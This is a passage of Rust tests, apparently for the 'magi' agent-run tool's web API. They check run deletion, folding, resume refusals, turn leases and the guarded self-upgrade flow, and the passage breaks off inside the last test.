14010 folded: true,
14011 });
14012 let dir = runs.join(run_id);
14013 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
14014 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
14015 .expect("write artifact");
14016 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
14017 .expect("write run.json");
14018
14019 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
14021 assert_eq!(res.status, 204);
14022 assert!(res.body.is_empty(), "204 has no body");
14023 assert!(!dir.exists(), "run directory and artifacts must be deleted");
14024
14025 let run_running = "20260901-000000-rung";
14030 write_run(&runs, run_running, RunStatus::Prep);
14031 let mut beat = crate::daemon::Status::new();
14032 beat.current = vec![crate::daemon::Current {
14033 task: "20260901-000000-task".to_owned(),
14034 run: run_running.to_owned(),
14035 }];
14036 beat.updated_at = jiff::Timestamp::now();
14037 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14038 .expect("publish a heartbeat");
14039 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14040 assert_eq!(res.status, 409);
14041 assert!(
14042 res.json()["error"]
14043 .as_str()
14044 .unwrap()
14045 .contains("live daemon"),
14046 "the refusal must say who is holding it"
14047 );
14048 assert!(
14049 runs.join(run_running).exists(),
14050 "a run in flight keeps its directory"
14051 );
14052
14053 let run_unfolded = "20260901-000000-unfd";
14055 let mut state2 = RunState::new(
14056 PathBuf::from("/repo"),
14057 "main".to_owned(),
14058 "abc".to_owned(),
14059 "instruction".to_owned(),
14060 Config::default(),
14061 );
14062 state2.id = run_unfolded.to_owned();
14063 state2.status = RunStatus::Ready;
14064 state2.candidates.push(crate::run::Candidate {
14065 index: 0,
14066 label: 'A',
14067 agent: "a".to_owned(),
14068 branch: "b".to_owned(),
14069 worktree: PathBuf::from("/w"),
14070 summary: String::new(),
14071 stat: String::new(),
14072 files: 1,
14073 commits: 1,
14074 empty: false,
14075 failed: None,
14076 verified_noop: None,
14077 duration_ms: 0,
14078 folded: false,
14079 });
14080 let dir2 = runs.join(run_unfolded);
14081 std::fs::create_dir_all(&dir2).expect("create dir2");
14082 std::fs::write(
14083 dir2.join("run.json"),
14084 serde_json::to_string(&state2).unwrap(),
14085 )
14086 .expect("write run.json");
14087
14088 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
14089 assert_eq!(res.status, 409);
14090 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
14091 assert!(dir2.exists(), "unfolded run directory is kept");
14092
14093 let res = fx.delete("/api/runs/nonexistent").await;
14095 assert_eq!(res.status, 404);
14096 }
14097
14098 #[test]
14107 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
14108 let start = APP_JS
14109 .find("function renderStats() {")
14110 .expect("renderStats");
14111 let end = start
14112 + APP_JS[start..]
14113 .find("function statsTile(")
14114 .expect("the next top-level function");
14115 let body = &APP_JS[start..end];
14116
14117 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
14118 let gate_end = gate_start
14119 + body[gate_start..]
14120 .find("}\n renderStatsQueue")
14121 .expect("the gate's own closing brace, right before the unconditional call");
14122 let gated = &body[gate_start..gate_end];
14123
14124 assert_eq!(
14125 body.matches("renderStatsQueue(").count(),
14126 1,
14127 "renderStats must call renderStatsQueue exactly once: {body}"
14128 );
14129 assert!(
14130 !gated.contains("renderStatsQueue"),
14131 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
14132 run-derived panels on an empty run history - the queue panel has to render \
14133 regardless: {gated}"
14134 );
14135 }
14136
14137 #[test]
14138 fn web_ui_delete_contract_in_front_end() {
14139 assert!(APP_JS.contains("deleteRun:"));
14141 assert!(APP_JS.contains("deleteTask:"));
14142
14143 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
14145 ..APP_JS.find("function renderRuns").unwrap()];
14146 assert!(!run_cards_slice.to_lowercase().contains("delete"));
14147
14148 assert!(APP_JS.contains("renderRunDelete"));
14150 assert!(APP_JS.contains("runDeleteReason"));
14151 assert!(APP_JS.contains("magi fold"));
14152 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
14153
14154 assert!(APP_JS.contains("cancel.focus"));
14156 assert!(APP_JS.contains("armedRunDelete"));
14157 assert!(APP_JS.contains("renderTaskDeleteBox"));
14158 assert!(APP_JS.contains("armed${cap(key)}"));
14159
14160 assert!(APP_JS.contains("disabled: status === \"running\""));
14162 }
14163
14164 #[test]
14184 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
14185 let build = APP_JS
14186 .find("function createRunCard")
14187 .expect("createRunCard exists");
14188 let update = APP_JS
14189 .find("function updateRunCard")
14190 .expect("updateRunCard exists");
14191 let end = APP_JS
14192 .find("function renderRuns")
14193 .expect("renderRuns exists");
14194
14195 let builder = &APP_JS[build..update];
14197 let open = builder.find("refs = {").expect("createRunCard sets refs");
14198 let literal = &builder[open + "refs = {".len()..];
14199 let close = literal.find('}').expect("the refs literal is closed");
14200 let published: HashSet<&str> = literal[..close]
14201 .split(',')
14202 .filter_map(|entry| entry.split(':').next())
14204 .map(str::trim)
14205 .filter(|name| !name.is_empty())
14206 .collect();
14207 assert!(
14208 published.len() > 5,
14209 "the refs literal did not parse into names: {published:?}"
14210 );
14211
14212 let mut used: Vec<&str> = Vec::new();
14215 let updaters = &APP_JS[update..end];
14216 for (at, _) in updaters.match_indices("r.") {
14217 let before = updaters[..at].chars().next_back();
14220 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
14221 continue;
14222 }
14223 let rest = &updaters[at + 2..];
14224 let len = rest
14225 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
14226 .unwrap_or(rest.len());
14227 if len > 0 {
14228 used.push(&rest[..len]);
14229 }
14230 }
14231 assert!(
14232 used.len() > 5,
14233 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
14234 );
14235
14236 let missing: Vec<&str> = used
14237 .iter()
14238 .copied()
14239 .filter(|name| !published.contains(name))
14240 .collect();
14241 assert!(
14242 missing.is_empty(),
14243 "a run card's updater reaches for {missing:?}, which `createRunCard` \
14244 never put in `refs` - every card will throw and the list will \
14245 render empty under a count line that says otherwise. Published: \
14246 {published:?}"
14247 );
14248 }
14249
14250 #[tokio::test]
14251 async fn folding_from_the_phone_reports_what_it_removed() {
14252 let fx = Fixture::start().await;
14253 let runs = fx.runs();
14254
14255 let id = "20260901-000000-fold";
14259 write_run(&runs, id, RunStatus::Stalled);
14260 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14261 assert_eq!(res.status, 200);
14262 assert_eq!(res.json()["removed_count"], 0);
14263 assert_eq!(res.json()["run"], id);
14264 assert!(
14265 runs.join(id).exists(),
14266 "a fold keeps the run's record; only the worktrees go"
14267 );
14268 }
14269
14270 #[tokio::test]
14271 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
14272 let fx = Fixture::start().await;
14273 let runs = fx.runs();
14274 let wt = fx.home.path().join("wt").join("magi").join("dead");
14275 let id = "20260901-000000-dead";
14276 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14277 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14278 std::fs::create_dir_all(&wt).expect("worktree dir");
14279
14280 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14281 assert_eq!(res.status, 200, "{}", res.body);
14282 assert!(
14283 res.json()["removed_count"].as_u64().unwrap() > 0,
14284 "the worktree this build could not read a state for still went"
14285 );
14286 assert!(
14287 !runs.join(id).exists(),
14288 "an unreadable run has no candidate list to fold selectively, so \
14289 the whole record goes - same as `magi fold` on the CLI"
14290 );
14291 }
14292
14293 #[tokio::test]
14294 async fn deleting_an_unreadable_run_removes_it_wholesale() {
14295 let fx = Fixture::start().await;
14296 let runs = fx.runs();
14297 let wt = fx.home.path().join("wt").join("magi").join("gone");
14298 let id = "20260901-000000-gone";
14299 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14300 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14301 std::fs::create_dir_all(&wt).expect("worktree dir");
14302
14303 let res = fx.delete(&format!("/api/runs/{id}")).await;
14304 assert_eq!(res.status, 204, "{}", res.body);
14305 assert!(!runs.join(id).exists(), "the broken record is gone");
14306 assert!(!wt.exists(), "its worktree is gone too");
14307 }
14308
14309 #[tokio::test]
14310 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14311 let fx = Fixture::start().await;
14312 let runs = fx.runs();
14313 let id = "20260901-000000-live";
14314 write_run(&runs, id, RunStatus::Implementing);
14315
14316 let mut beat = crate::daemon::Status::new();
14317 beat.current = vec![crate::daemon::Current {
14318 task: "20260901-000000-task".to_owned(),
14319 run: id.to_owned(),
14320 }];
14321 beat.updated_at = jiff::Timestamp::now();
14322 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14323 .expect("publish a heartbeat");
14324
14325 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14326 assert_eq!(res.status, 409);
14327 assert!(
14328 res.json()["error"]
14329 .as_str()
14330 .unwrap()
14331 .contains("live daemon"),
14332 "folding under a running agent would pull its worktree away"
14333 );
14334 }
14335
14336 #[tokio::test]
14337 async fn fold_merged_requires_a_pr_url() {
14338 let fx = Fixture::start().await;
14339 let runs = fx.runs();
14340 let id = "20260901-000000-nourl";
14341 write_run(&runs, id, RunStatus::Blocked);
14342
14343 let res = fx
14344 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14345 .await;
14346 assert_eq!(res.status, 400, "{}", res.body);
14347
14348 let blank = fx
14349 .post(
14350 &format!("/api/runs/{id}/fold-merged"),
14351 Some(r#"{"pr_url":" "}"#),
14352 )
14353 .await;
14354 assert_eq!(blank.status, 400, "{}", blank.body);
14355 }
14356
14357 #[tokio::test]
14358 async fn fold_merged_is_404_for_an_unknown_run() {
14359 let fx = Fixture::start().await;
14360 let res = fx
14361 .post(
14362 "/api/runs/nosuchrun/fold-merged",
14363 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14364 )
14365 .await;
14366 assert_eq!(res.status, 404, "{}", res.body);
14367 }
14368
14369 #[tokio::test]
14370 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14371 let fx = Fixture::start().await;
14372 let runs = fx.runs();
14373 let id = "20260901-000000-livemerge";
14374 write_run(&runs, id, RunStatus::Blocked);
14375
14376 let mut beat = crate::daemon::Status::new();
14377 beat.current = vec![crate::daemon::Current {
14378 task: "20260901-000000-task".to_owned(),
14379 run: id.to_owned(),
14380 }];
14381 beat.updated_at = jiff::Timestamp::now();
14382 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14383 .expect("publish a heartbeat");
14384
14385 let res = fx
14386 .post(
14387 &format!("/api/runs/{id}/fold-merged"),
14388 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14389 )
14390 .await;
14391 assert_eq!(res.status, 409, "{}", res.body);
14392 assert!(
14393 res.json()["error"]
14394 .as_str()
14395 .unwrap()
14396 .contains("live daemon"),
14397 "correcting a run's merge underneath a running agent would race \
14398 whatever it is doing to the same `status`/`merge` fields"
14399 );
14400 }
14401
14402 #[tokio::test]
14407 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14408 let fx = Fixture::start().await;
14409 let runs = fx.runs();
14410 let id = "20260901-000000-unconfirmed";
14411 write_run(&runs, id, RunStatus::Blocked);
14412
14413 let res = fx
14414 .post(
14415 &format!("/api/runs/{id}/fold-merged"),
14416 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14417 )
14418 .await;
14419 assert_eq!(res.status, 400, "{}", res.body);
14420 assert_eq!(
14421 read_run(&runs, id).unwrap().status,
14422 RunStatus::Blocked,
14423 "a pull request that could not be confirmed merged must leave \
14424 the run exactly where it was"
14425 );
14426 }
14427
14428 #[tokio::test]
14429 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14430 let fx = Fixture::start().await;
14431 let runs = fx.runs();
14432
14433 for (status, word) in [
14439 (RunStatus::Merged, "merged"),
14440 (RunStatus::Ready, "ready"),
14441 (RunStatus::Failed, "failed"),
14442 ] {
14443 let id = format!("20260901-000000-{}", &word[..4]);
14444 write_run(&runs, &id, status);
14445 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14446 assert_eq!(res.status, 409, "{word} must not be resumable");
14447 let err = res.json()["error"].as_str().unwrap().to_owned();
14448 assert!(err.contains(word), "the refusal names the status: {err}");
14449 }
14450
14451 let mid = "20260901-000000-midf";
14456 write_run(&runs, mid, RunStatus::Reviewing);
14457 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14458 assert_eq!(res.status, 202, "an interrupted run is resumable");
14459 }
14460
14461 #[tokio::test]
14462 async fn resume_is_refused_while_the_loop_is_running() {
14463 let fx = Fixture::start().await;
14464 let runs = fx.runs();
14465 let stalled = "20260901-000000-stal";
14466 write_run(&runs, stalled, RunStatus::Stalled);
14467
14468 let mut beat = crate::daemon::Status::new();
14472 beat.current = vec![crate::daemon::Current {
14473 task: "20260901-000000-task".to_owned(),
14474 run: "20260901-000000-othr".to_owned(),
14475 }];
14476 beat.updated_at = jiff::Timestamp::now();
14477 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14478 .expect("publish a heartbeat");
14479
14480 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14481 assert_eq!(res.status, 409);
14482 let err = res.json()["error"].as_str().unwrap().to_owned();
14483 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14484 assert!(err.contains("stop it first"), "{err}");
14485 }
14486
14487 #[test]
14488 fn a_run_cannot_be_resumed_twice_at_once() {
14489 let home = TempDir::new().expect("temp home");
14490 let ui = Ui::new(
14491 Queue::at(home.path().join("queue")),
14492 Questions::at(home.path().join("questions")),
14493 Talks::at(home.path().join("talks")),
14494 home.path().join("runs"),
14495 home.path().to_path_buf(),
14496 PathBuf::from("/repo"),
14497 )
14498 .with_worktrees_root(home.path().join("wt"));
14499 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14500 let again = ui.begin_resume("20260901-000000-once");
14501 assert!(again.is_err(), "a second tap must not start a second graph");
14502 drop(first);
14503 assert!(
14504 ui.begin_resume("20260901-000000-once").is_ok(),
14505 "and the claim is released when the attempt ends"
14506 );
14507 }
14508
14509 #[test]
14510 fn talk_thinking_tracks_only_its_held_turn_claim() {
14511 let home = TempDir::new().expect("temp home");
14512 let ui = Ui::new(
14513 Queue::at(home.path().join("queue")),
14514 Questions::at(home.path().join("questions")),
14515 Talks::at(home.path().join("talks")),
14516 home.path().join("runs"),
14517 home.path().to_path_buf(),
14518 PathBuf::from("/repo"),
14519 )
14520 .with_worktrees_root(home.path().join("wt"));
14521 let id = "20260901-000000-once";
14522
14523 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14524 let turn = ui.begin_talk_turn(id).expect("claim turn");
14525 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14526 assert!(
14527 !ui.is_thinking("20260901-000000-other"),
14528 "one talk's turn does not make another talk busy"
14529 );
14530 drop(turn);
14531 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14532 }
14533
14534 #[test]
14535 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14536 let home = TempDir::new().expect("temp home");
14537 let talks = Talks::at(home.path().join("talks"));
14538 let ui = Ui::new(
14539 Queue::at(home.path().join("queue")),
14540 Questions::at(home.path().join("questions")),
14541 talks.clone(),
14542 home.path().join("runs"),
14543 home.path().to_path_buf(),
14544 PathBuf::from("/repo"),
14545 )
14546 .with_worktrees_root(home.path().join("wt"));
14547 let id = "20260901-000000-cross";
14548
14549 let other = Talks::at(home.path().join("talks"))
14550 .claim_turn(id)
14551 .expect("claim")
14552 .expect("the other process wins");
14553 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14554 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14555 assert!(
14556 matches!(
14557 ui.begin_talk_turn_unless_pending(id).expect("start"),
14558 TalkTurnStart::Foreign
14559 ),
14560 "a foreign holder is refused, not queued behind"
14561 );
14562 assert!(
14563 !ui.talk_turns.lock().unwrap().live.contains(id),
14564 "a refused claim leaves no in-process entry behind"
14565 );
14566 drop(other);
14567 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14568 assert!(talks.turn_held(id), "the web turn holds the lease");
14569 drop(turn);
14570 assert!(
14571 !talks.turn_held(id),
14572 "dropping the guard releases the lease"
14573 );
14574 }
14575
14576 #[test]
14577 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
14578 let home = TempDir::new().expect("temp home");
14579 let talks = Talks::at(home.path().join("talks"));
14580 let ui = Ui::new(
14581 Queue::at(home.path().join("queue")),
14582 Questions::at(home.path().join("questions")),
14583 talks.clone(),
14584 home.path().join("runs"),
14585 home.path().to_path_buf(),
14586 PathBuf::from("/repo"),
14587 )
14588 .with_worktrees_root(home.path().join("wt"));
14589 let id = "20260901-000000-order";
14590 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
14591 let slots = ui.talk_turns.lock().unwrap();
14593 let dropper = std::thread::spawn(move || drop(turn));
14594 let start = std::time::Instant::now();
14595 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
14596 std::thread::sleep(Duration::from_millis(5));
14597 }
14598 assert!(!talks.turn_held(id), "the lease is released first");
14599 assert!(slots.live.contains(id), "the slot is still held meanwhile");
14600 drop(slots);
14601 dropper.join().expect("join");
14602 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
14603 }
14604
14605 #[tokio::test]
14606 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14607 let fx = Fixture::start().await;
14608 let mut beat = crate::daemon::Status::new();
14612 beat.pid = 4321;
14613 beat.updated_at = jiff::Timestamp::now();
14614 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14615 .expect("publish a heartbeat");
14616
14617 let res = fx.post("/api/upgrade", None).await;
14618 assert_eq!(res.status, 409);
14619 let err = res.json()["error"].as_str().unwrap().to_owned();
14620 assert!(err.contains("4321"), "the refusal names the owner: {err}");
14621 assert!(err.contains("old one against the same queue"), "{err}");
14622 }
14623
14624 #[test]
14631 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14632 assert!(!should_spawn_recheck(&crate::config::Update {
14633 mode: UpdateMode::Off,
14634 interval: None,
14635 }));
14636
14637 unsafe {
14640 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14641 }
14642 let killed = should_spawn_recheck(&crate::config::Update {
14643 mode: UpdateMode::Notify,
14644 interval: None,
14645 });
14646 unsafe {
14647 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14648 }
14649 assert!(
14650 !killed,
14651 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14652 one-time startup check"
14653 );
14654
14655 assert!(should_spawn_recheck(&crate::config::Update {
14656 mode: UpdateMode::Notify,
14657 interval: None,
14658 }));
14659 }
14660
14661 #[test]
14667 fn recheck_poll_period_tracks_a_short_configured_interval() {
14668 let short = crate::config::Update {
14669 mode: UpdateMode::Notify,
14670 interval: Some("1m".to_owned()),
14671 };
14672 let period = recheck_poll_period(&short);
14673 assert!(
14674 period <= Duration::from_secs(30),
14675 "a one-minute interval must wake the task far sooner than the \
14676 default ceiling, or the deck would not notice within the \
14677 interval the operator configured: got {period:?}"
14678 );
14679
14680 let default = crate::config::Update {
14681 mode: UpdateMode::Notify,
14682 interval: None,
14683 };
14684 assert_eq!(
14685 recheck_poll_period(&default),
14686 UPDATE_RECHECK_POLL_MAX,
14687 "the default day-long interval should poll at the (capped) \
14688 ceiling rather than needlessly often"
14689 );
14690 }
14691
14692 #[test]
14700 fn recheck_skips_the_network_before_the_interval_elapses() {
14701 let dir = TempDir::new().expect("temp dir");
14702 let path = dir.path().join("state.json");
14703 let state = kaishin::UpdateCheckState {
14704 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14705 last_known_latest: None,
14706 last_known_url: None,
14707 };
14708 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14709
14710 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14711 assert!(
14712 !update_recheck_due(&checker, None),
14713 "a check made moments ago must not be repeated before the \
14714 configured interval elapses"
14715 );
14716 }
14717
14718 #[test]
14724 fn recheck_defers_to_an_upgrade_already_in_flight() {
14725 let dir = TempDir::new().expect("temp dir");
14726 let path = dir.path().join("state.json");
14727 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14728 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14729
14730 assert!(
14731 !update_recheck_due(&checker, Some(&progress)),
14732 "a recheck must not run while an upgrade this deck started is \
14733 still moving"
14734 );
14735 }
14736
14737 #[tokio::test]
14738 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14739 unsafe {
14751 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14752 }
14753 let fx = Fixture::start().await;
14754 let res = fx.post("/api/upgrade", None).await;
14755 unsafe {
14756 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14757 }
14758 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14759 let body = res.json();
14760 assert!(body["to"].is_null(), "there was no release to move to");
14761 assert!(body["parked"].is_null(), "and nothing was parked");
14762 assert!(
14763 body["detail"]
14764 .as_str()
14765 .unwrap()
14766 .contains("disabled by MAGI_NO_AUTOUPDATE"),
14767 "{body:?}"
14768 );
14769 }
14770
14771 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
14772 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
14773 p.stage = stage;
14774 p
14775 }
14776
14777 #[test]
14778 fn busy_stages_match_the_ui_set() {
14779 use crate::updater::Stage;
14780 assert!(APP_JS.contains(
14781 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
14782 ));
14783 for s in [
14784 Stage::Downloading,
14785 Stage::Replaced,
14786 Stage::Parking,
14787 Stage::Restarting,
14788 ] {
14789 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
14790 }
14791 for s in [Stage::Done, Stage::Failed] {
14792 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
14793 }
14794 assert!(upgrade_in_motion(None).is_none());
14795 }
14796
14797 #[tokio::test]
14798 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
14799 use crate::updater::Stage;
14800 for stage in [
14801 Stage::Downloading,
14802 Stage::Replaced,
14803 Stage::Parking,
14804 Stage::Restarting,
14805 ] {
14806 let fx = Fixture::start().await;
14807 let seeded = seeded_progress(stage);
14808 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
14809 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14810 .expect("read");
14811
14812 let res = fx.post("/api/upgrade", None).await;
14813 assert_eq!(res.status, 409, "{stage:?}");
14814 let err = res.json()["error"].as_str().unwrap().to_owned();
14815 assert!(err.contains("already in progress"), "{err}");
14816 assert!(err.contains(stage.as_str()), "{err}");
14817
14818 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14819 .expect("read");
14820 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
14821 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
14822 .unwrap_or_default();
14823 assert!(!log.contains("signalling HANDOVER"), "{log}");
14824 }
14825 }
14826
14827 #[tokio::test]
14828 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
14829 use crate::updater::Stage;
14830 let repo = TempDir::new().expect("repo dir");
14831 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14832 .expect("write magi.toml");
14833 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14834 for stage in [Stage::Done, Stage::Failed] {
14835 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
14836 let res = fx.post("/api/upgrade", None).await;
14837 assert_eq!(res.status, 200, "{stage:?}");
14838 }
14839 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
14841 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
14842 }
14843
14844 #[tokio::test]
14845 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14846 let repo = TempDir::new().expect("repo dir");
14862 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14863 .expect("write magi.toml");
14864 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14865
14866 let res = fx.post("/api/upgrade", None).await;
14872 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14873 let body = res.json();
14874 assert!(body["to"].is_null(), "there was no release to move to");
14875 assert!(body["parked"].is_null(), "and nothing was parked");
14876 assert!(
14877 body["detail"]
14878 .as_str()
14879 .unwrap()
14880 .contains("nothing restarted"),
14881 "{body:?}"
14882 );
14883 }
14884
14885 #[tokio::test]
14886 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14887 let repo = TempDir::new().expect("repo dir");
14892 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14893 .expect("write magi.toml");
14894 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14895
14896 let health = fx.get("/api/health").await.json();
14897 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14898 assert_eq!(
14899 health["update"]["available"], false,
14900 "checking is off, which reads as \"unknown\", not \"none\""
14901 );
14902 assert!(health["update"]["to"].is_null());
14903 assert!(
14904 health["upgrade"].is_null(),
14905 "nothing has ever asked this deck to upgrade"
14906 );
14907 }
14908
14909 #[tokio::test]
14910 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14911 let fx = Fixture::start().await;
14912 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14913
14914 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14915 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14916 progress.advance(crate::updater::Stage::Parking);
14917 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14918
14919 let health = fx.get("/api/health").await.json();
14920 assert_eq!(health["upgrade"]["stage"], "parking");
14921 assert_eq!(health["upgrade"]["from"], "0.5.1");
14922 assert_eq!(health["upgrade"]["to"], "0.5.2");
14923 let waiting_on = health["upgrade"]["waiting_on"]
14924 .as_str()
14925 .expect("waiting_on is set while parking a known run");
14926 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14927 assert!(waiting_on.contains("implementing"), "{waiting_on}");
14928 }
14929
14930 #[tokio::test]
14931 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14932 let fx = Fixture::start().await;
14933 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14934 progress.advance(crate::updater::Stage::Done);
14935 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14936
14937 let health = fx.get("/api/health").await.json();
14938 assert_eq!(health["upgrade"]["stage"], "done");
14939 assert!(
14940 health["upgrade"]["waiting_on"].is_null(),
14941 "nothing to wait on once it is done"
14942 );
14943 }
14944
14945 #[tokio::test]
14946 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14947 let home = TempDir::new().expect("temp home");
14948 let runs = home.path().join("runs");
14949 std::fs::create_dir_all(&runs).expect("runs dir");
14950 let ui = Ui::new(
14951 Queue::at(home.path().join("queue")),
14952 Questions::at(home.path().join("questions")),
14953 Talks::at(home.path().join("talks")),
14954 runs,
14955 home.path().to_path_buf(),
14956 PathBuf::from("/repo/magi"),
14957 )
14958 .with_launch(launch_idle);
14959 let looping = ui.looping();
14960 let turns = ui.turns();
14961 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14962 .await
14963 .expect("bind loopback");
14964 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14965
14966 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14967 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14968
14969 hand_over(
14970 home.path(),
14971 &looping,
14972 &turns,
14973 &|_: &[String]| Duration::from_secs(5),
14974 served,
14975 |_| Ok(1),
14976 )
14977 .await
14978 .expect("hand over");
14979
14980 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14981 assert_eq!(
14982 after.stage,
14983 crate::updater::Stage::Restarting,
14984 "hand_over owns the record through parking and up to restarting; \
14985 the successor is what finishes it"
14986 );
14987 }
14988
14989 #[tokio::test]
14992 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14993 for fail in [false, true] {
14994 let home = TempDir::new().expect("temp home");
14995 let ui = idle_ui(&home);
14996 let looping = ui.looping();
14997 let turns = ui.turns();
14998 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14999 .await
15000 .expect("bind loopback");
15001 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15002 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15003 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15004
15005 let calls = std::sync::atomic::AtomicUsize::new(0);
15006 let outcome = hand_over(
15007 home.path(),
15008 &looping,
15009 &turns,
15010 &|_: &[String]| Duration::from_secs(5),
15011 served,
15012 |_| {
15013 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15014 if fail {
15015 anyhow::bail!("no exec")
15016 } else {
15017 Ok(4242)
15018 }
15019 },
15020 )
15021 .await;
